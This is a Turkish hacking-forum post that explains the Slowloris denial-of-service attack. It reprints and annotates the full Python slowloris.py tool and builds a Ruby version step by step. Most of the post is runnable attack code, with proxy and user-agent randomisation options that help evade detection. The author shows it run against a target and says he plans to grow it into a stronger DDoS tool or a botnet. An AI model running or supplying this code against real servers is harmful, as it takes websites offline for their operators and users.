Slowloris saldırısı, saldırganın bir hedef web sunucusuna çok sayıda bağlantı açarak her bağlantıyı açık tutmasıyla gerçekleşir. Bu bağlantılar genellikle tamamlanmamış HTTP istekleri içerir, bu da sunucunun kaynaklarını sürekli olarak kullanmasına neden olur. Sunucu, bu yarı tamamlanmış bağlantılara yanıt vermek için beklemeye devam ettiği sürece, gerçek ve meşru istemcilere hizmet verme yeteneği azalır.

Slowloris saldırıları genellikle düşük bant genişliği kullanarak ve izlemesi zor olacak şekilde yapıldığından, bu tür saldırıları tespit etmek ve engellemek zor olabilir.
Web sunucularının güvenliği için bu tür saldırılara karşı koruma önlemleri alınmalıdır.

DDoS, DoS, Slowloris gibi saldırılar için detaylı bilgi almak isterseniz okuyabilirsiniz. Kaynak



slowloris.py İncelenmesi

Slowloris'in Python varyasyonuna ulaşmak için: slowloris.py: Github

Loglama, Socket ve User-Agent kullanmayla alakalı konularım olduğu için tekrara girmedim.


CoffeeScript:
https://www.turkhackteam.org/konular/socket-programlama.2052616/

https://www.turkhackteam.org/konular/log-tutmak-loglama-islemleri.2052282/

https://www.turkhackteam.org/konular/python-ile-user-agent-kullanarak-istek-yollamak.2052068/

okuyabilirsiniz.

Fazla detaylara girmeden kodu açıklayayım

Bu bir Unix/Linux tabanlı işletim sistemi üzerinde çalıştırılacak bir Python betiği (script) başlangıcında bulunan bir shebang (sha-bang) ifadesidir. Kısaca Python ile yazmış olduğunuz programınızın hangi yorumlayıcı ile çalıştırılacağını belirtir.

Python:
#!/usr/bin/env python3

Burada "import" ile kullanılacak kütüphaneler içeriye aktarılmıştır.


Python:
import argparse
import logging
import random
import socket
import sys
import time

argparse: Komut satırı argümanlarını analiz etmek için kullanılır. Betik, komut satırından gelen argümanları işlemek ve bu argümanlara dayalı olarak belirli davranışları uygulamak için argparse kütüphanesini kullanır.

logging: Loglama (günlük tutma) işlemleri için kullanılır. Bu kütüphane, betikin çalışma zamanında çeşitli log mesajlarını göndererek bilgi sağlar. Log seviyeleri, betiğin ne kadar detaylı bir çıktı üreteceğini belirler.

random: Rastgele sayılar üretmek ve rastgele seçimler yapmak için kullanılır. Bu betikte, kullanıcı aracılığıyla belirtilen sayıda soket oluştururken rastgele seçimler yapmak amacıyla kullanılabilir.
socket: Ağ programlaması için kullanılan bir kütüphanedir. Bu betik, web sunucusuna karşı Slowloris saldırısını gerçekleştirmek için soketler aracılığıyla bağlantılar kurar ve yönetir.

sys: Python yürütme ortamı ve işletim sistemi ile ilgili işlemleri kontrol etmek için kullanılır. Bu betikte, betikin çalıştırıldığı komut satırı argümanlarını kontrol etmek ve bazı durumlarda betiği sonlandırmak için kullanılabilir.

time: Zaman ile ilgili işlemleri gerçekleştirmek için kullanılır. Bu betikte, belirli bir süre boyunca beklemek amacıyla kullanılabilir.

Parametre çubuğu belirtilmeden "host" değeri kullanıcıdan alınmış

Python:
parser.add_argument("host", nargs="?", help="Host to perform stress test on")

-p, --port ile kullanıcıdan port değeri alınmış.


Python:
parser.add_argument(
    "-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)

-s, --sockets ile atılacak socket sayısı değeri kullanıcıdan alınmış.

Python:
parser.add_argument(
    "-s",
    "--sockets",
    default=150,
    help="Number of sockets to use in the test",
    type=int,
)

-v, --verbose ile ekrana istekler hakkında çıktı verilmesi söylenmiş.

Python:
parser.add_argument(
    "-v",
    "--verbose",
    dest="verbose",
    action="store_true",
    help="Increases logging",
)

-ua, --randomuseragent ile istek atılacak tarayıcının random olup olmaması kullanıcıya sorulmuş.


Python:
parser.add_argument(
    "-ua",
    "--randuseragents",
    dest="randuseragent",
    action="store_true",
    help="Randomizes user-agents with each request",
)

-x, --useproxy komutu ile kullanıcıya proxy kullanılıp kullanılmayacağı sorulmuş.


Python:
parser.add_argument(
    "-x",
    "--useproxy",
    dest="useproxy",
    action="store_true",
    help="Use a SOCKS5 proxy for connecting",
)

kullanıcıdan proxy için kullanacağı host ve port değeri alınmış.

Python:
parser.add_argument(
    "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
    "--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)

https kullanılması ve istek sorunları için bekleme süresi.

Python:
parser.add_argument(
    "--https",
    dest="https",
    action="store_true",
    help="Use HTTPS for the requests",
)
parser.add_argument(
    "--sleeptime",
    dest="sleeptime",
    default=15,
    type=int,
    help="Time to sleep between each header sent.",
)

kullanıcı girmemesi durumunda default değerler ayarlanmış ve parser bitirlip değerler alınmış.

Python:
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

eğer parserde host eksikse veya hiç değer girilmemişte gerekli çıktılar verilmiş.

Python:
if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

proxy kullanılacağı durumda socket tanımlaması yapılmış.

bu kısımda kullanıcının girdiği proxy host ve proxy port değerlerine bir proxy socketi oluşturulmuş.


Rich (BB code):
 socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )

Python:
if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks

        socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")
        sys.exit(1)

logging.basicConfig(
    format="[%(asctime)s] %(message)s",
    datefmt="%d-%m-%Y %H:%M:%S",
    level=logging.DEBUG if args.verbose else logging.INFO,
)

send_line(self, line): Bu fonksiyon, verilen line parametresini alır, sonuna bir satır sonu ekler (\r\n) ve ardından UTF-8 encoding ile byte dizisine çevirip soket üzerinden gönderir. Bu, HTTP başlıklarını göndermede kullanılır.

send_header(self, name, value): Bu fonksiyon, verilen name ve value parametreleriyle bir başlık oluşturur ve send_line fonksiyonunu kullanarak bu başlığı soket üzerinden gönderir.


Python:
def send_line(self, line):
    line = f"{line}\r\n"
    self.send(line.encode("utf-8"))

def send_header(self, name, value):
    self.send_line(f"{name}: {value}")

args.https değeri True ise (kullanıcı HTTPS kullanma seçeneğini belirtmişse), HTTPS desteği etkinleştirilir.

Python:
if args.https:

ssl kütüphanesi içe aktarılır. Bu kütüphane, güvenli iletişim sağlamak için kullanılan bir protokol olan SSL/TLS (Transport Layer Security) üzerine inşa edilmiştir.

Python:
logging.info("Importing ssl module")
import ssl

setattr fonksiyonu kullanılarak, ssl.SSLSocket sınıfına özel send_line ve send_header fonksiyonları eklenir.

ssl.SSLSocket sınıfı, normal socket sınıfından türetilmiş bir alt sınıftır ve SSL/TLS bağlantıları için özelleştirilmiştir.

Bu özel fonksiyonlar, daha önce tanımlanan send_line ve send_header fonksiyonlarıdır. Bu fonksiyonlar, HTTP başlıklarını ve satırlarını uygun formatta göndermek için kullanılır.


Python:
setattr(ssl.SSLSocket, "send_line", send_line)
setattr(ssl.SSLSocket, "send_header", send_header)

user-agent ve socket listesi tanımlaması.

Python:
list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)

bu kısımda kısaca socket oluşturuluyor ve önceden anlattığım kodda tanımlı özel fonksiyonlar ile istek atılıyor.

Python:
def init_socket(ip: str):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)

    if args.https:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=args.host)

    s.connect((ip, args.port))

    s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

    ua = user_agents[0]
    if args.randuseragent:
        ua = random.choice(user_agents)

    s.send_header("User-Agent", ua)
    s.send_header("Accept-language", "en-US,en,q=0.5")
    return s

kullanıcının girdiği socket sayısını özel fonksiyonlara gönderen kısım.


Python:
def slowloris_iteration():
    logging.info("Sending keep-alive headers...")
    logging.info("Socket count: %s", len(list_of_sockets))

    # Try to send a header line to each socket
    for s in list(list_of_sockets):
        try:
            s.send_header("X-a", random.randint(1, 5000))
        except socket.error:
            list_of_sockets.remove(s)

    # Some of the sockets may have been closed due to errors or timeouts.
    # Re-create new sockets to replace them until we reach the desired number.

    diff = args.sockets - len(list_of_sockets)
    if diff <= 0:
        return

    logging.info("Creating %s new sockets...", diff)
    for _ in range(diff):
        try:
            s = init_socket(args.host)
            if not s:
                continue
            list_of_sockets.append(s)
        except socket.error as e:
            logging.debug("Failed to create new socket: %s", e)
            break

programı başlatmak için ana kısım.

Python:
def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error as e:
            logging.debug(e)
            break
        list_of_sockets.append(s)

    while True:
        try:
            slowloris_iteration()
        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping Slowloris")
            break
        except Exception as e:
            logging.debug("Error in Slowloris iteration: %s", e)
        logging.debug("Sleeping for %d seconds", args.sleeptime)
        time.sleep(args.sleeptime)


if __name__ == "__main__":
    main()

Tüm Kod:


Python:
#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import sys
import time

parser = argparse.ArgumentParser(
    description="Slowloris, low bandwidth stress test tool for websites"
)
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
parser.add_argument(
    "-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)
parser.add_argument(
    "-s",
    "--sockets",
    default=150,
    help="Number of sockets to use in the test",
    type=int,
)
parser.add_argument(
    "-v",
    "--verbose",
    dest="verbose",
    action="store_true",
    help="Increases logging",
)
parser.add_argument(
    "-ua",
    "--randuseragents",
    dest="randuseragent",
    action="store_true",
    help="Randomizes user-agents with each request",
)
parser.add_argument(
    "-x",
    "--useproxy",
    dest="useproxy",
    action="store_true",
    help="Use a SOCKS5 proxy for connecting",
)
parser.add_argument(
    "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
    "--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)
parser.add_argument(
    "--https",
    dest="https",
    action="store_true",
    help="Use HTTPS for the requests",
)
parser.add_argument(
    "--sleeptime",
    dest="sleeptime",
    default=15,
    type=int,
    help="Time to sleep between each header sent.",
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks

        socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")
        sys.exit(1)

logging.basicConfig(
    format="[%(asctime)s] %(message)s",
    datefmt="%d-%m-%Y %H:%M:%S",
    level=logging.DEBUG if args.verbose else logging.INFO,
)


def send_line(self, line):
    line = f"{line}\r\n"
    self.send(line.encode("utf-8"))


def send_header(self, name, value):
    self.send_line(f"{name}: {value}")


if args.https:
    logging.info("Importing ssl module")
    import ssl

    setattr(ssl.SSLSocket, "send_line", send_line)
    setattr(ssl.SSLSocket, "send_header", send_header)

list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)


def init_socket(ip: str):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)

    if args.https:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=args.host)

    s.connect((ip, args.port))

    s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

    ua = user_agents[0]
    if args.randuseragent:
        ua = random.choice(user_agents)

    s.send_header("User-Agent", ua)
    s.send_header("Accept-language", "en-US,en,q=0.5")
    return s


def slowloris_iteration():
    logging.info("Sending keep-alive headers...")
    logging.info("Socket count: %s", len(list_of_sockets))

    # Try to send a header line to each socket
    for s in list(list_of_sockets):
        try:
            s.send_header("X-a", random.randint(1, 5000))
        except socket.error:
            list_of_sockets.remove(s)

    # Some of the sockets may have been closed due to errors or timeouts.
    # Re-create new sockets to replace them until we reach the desired number.

    diff = args.sockets - len(list_of_sockets)
    if diff <= 0:
        return

    logging.info("Creating %s new sockets...", diff)
    for _ in range(diff):
        try:
            s = init_socket(args.host)
            if not s:
                continue
            list_of_sockets.append(s)
        except socket.error as e:
            logging.debug("Failed to create new socket: %s", e)
            break


def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error as e:
            logging.debug(e)
            break
        list_of_sockets.append(s)

    while True:
        try:
            slowloris_iteration()
        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping Slowloris")
            break
        except Exception as e:
            logging.debug("Error in Slowloris iteration: %s", e)
        logging.debug("Sleeping for %d seconds", args.sleeptime)
        time.sleep(args.sleeptime)


if __name__ == "__main__":
    main()

Hatalarım olabilir, "kısaca" programı açıkladım. Kafanızda bir şeyler canlanmıştır.



Ruby İle Slowloris Kodlanması

Yukarıda bulunan kod düzenine uyarak bir kodlama yapacağız.
Bu serinin ilk konusu olduğu için ekstra detaylara bu konuda girmeyeceğim.

shebang satırını yazalım.

Ruby:
#!/usr/bin/env ruby

çıktı renklendirmesi için bir sınıf tanımlayalım.


Ruby:
class String
  def red; "\e[31m#{self}\e[0m" end
  def green; "\e[32m#{self}\e[0m" end
  def yellow; "\e[33m#{self}\e[0m" end
  def blue; "\e[34m#{self}\e[0m" end
  def magenta; "\e[35m#{self}\e[0m" end
  def cyan; "\e[36m#{self}\e[0m" end
end

Slowloris isimli sınıfımızı oluşturalım ve içine user-agentler ekleyelim.

Ruby:
class Slowloris
  def initialize
    require 'socket'

    @user_agents = [
      "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
    ]

default parametreler için hash.

Ruby:
@parameters = {
      host: nil,
      socket_count: 150,
      sleep_time: 15,
      port: 80,
      sockets: []
    }
  end

socket oluşturma fonksiyonu.

Ruby:
def initialize_socket(host, port)
    socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
    socket_addr = Socket.pack_sockaddr_in(port, host)
    socket.connect(socket_addr)

    socket.write("GET /?#{rand(2250)} HTTP/1.1\r\n".encode("utf-8"))
  
    @user_agents.each { |header|
      socket.write("#{header}\r\n".encode("utf-8"))
    }

    return socket
  end

yardım için yazı.

Ruby:
def print_help
    help_text = <<-'HELP_TEXT'
Usage: ruby slowloris.rb [options]

Options:
-h, --host: Set host.
-s, --socket_count: Set socket count.
-H, --help: Print this text.
-p, --port: Set port.
-t, --sleep_time: Sleep time when an error is received during the request.
HELP_TEXT
  
    $stdout.puts(help_text.red)
  end

parserimizi tanımlayalım.

Ruby:
 def option_parser
    require 'optparse'

    OptionParser.new do |opts|
      opts.on("-H", "--help", "Prints help text.") do
        print_help()
        exit(0)
      end

      opts.on("-t", "--sleep-time SLEEP_TIME", Integer, "Set sleep time.") do |sleep_time|
        @parameters[:sleep_time] = sleep_time
      end

      opts.on("-h", "--host HOST", "Set host.") do |host|
        @parameters[:host] = host
      end

      opts.on("-p", "--port PORT", Integer, "Set port.") do |port|
        @parameters[:port] = port
      end

      opts.on("-s", "--socket_count SOCKET_COUNT", Integer, "Set socket count value.") do |socket_count|
        @parameters[:socket_count] = socket_count
      end
    end.parse!
  end

döngüyü oluşturan ana fonksiyon.

Ruby:
def start
    option_parser()

    if @parameters[:host]
      $stdout.puts("Attacking #{@parameters[:host]} with #{@parameters[:socket_count]} sockets.".magenta)
      $stdout.puts("Creating sockets...".blue)

      while true
        @parameters[:socket_count].times do
          begin
            socket = initialize_socket(@parameters[:host], @parameters[:port])
            @parameters[:sockets] << socket
          rescue
            break
          rescue Interrupt
            exit(0)
          end
        end

        $stdout.puts("Sending keep-alive headers... Socket count: #{@parameters[:sockets].size}")

        (1..(@parameters[:socket_count] - @parameters[:sockets].size)).each do
          $stdout.puts("Recreating socket...")
          begin
            socket = initialize_socket(@parameters[:host], @parameters[:port])
            @parameters[:sockets] << socket if socket
          rescue
            break
          end
        end

        sleep(@parameters[:sleep_time])
      end
    else
      $stdout.puts("Please set a host.".cyan)
      print_help()
      exit(0)
    end
  end
end

slowloris = Slowloris.new()
slowloris.start()

Projenin Github sayfası:

Kod:
 https://github.com/thebunjo/Slowloris-Ruby/tree/main

Kullanım:

Yardım sayfası için "-H" parametresini kullanabilirsiniz.


nhy03uo.png


"example.com" için DoS.

"-h" parametresi ile hedefi belirtebilirsiniz.

kfdp4bm.png


Trafik analizi:


ej1h13k.png



Yeni konularda paralel programlama ve proxy desteği de eklediğimiz zaman çok kuvvettli bir DDoS aracına dönüşür. Yakın zamanda istekleri düzenler ve gerekli eklemeleri yapar yeni konusu açarım belki de bir botnet programına bile dönüştürebilirim bilemiyorum.

Slowloris programının ne kadar işe yaradığı size kalmakla beraber konuyu okuduğunuz için teşekkür ederim.

Hatalarım olabilir, nazik
üslup ile bildirirseniz sevinirin.

İyi forumlar.
teşekürler.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.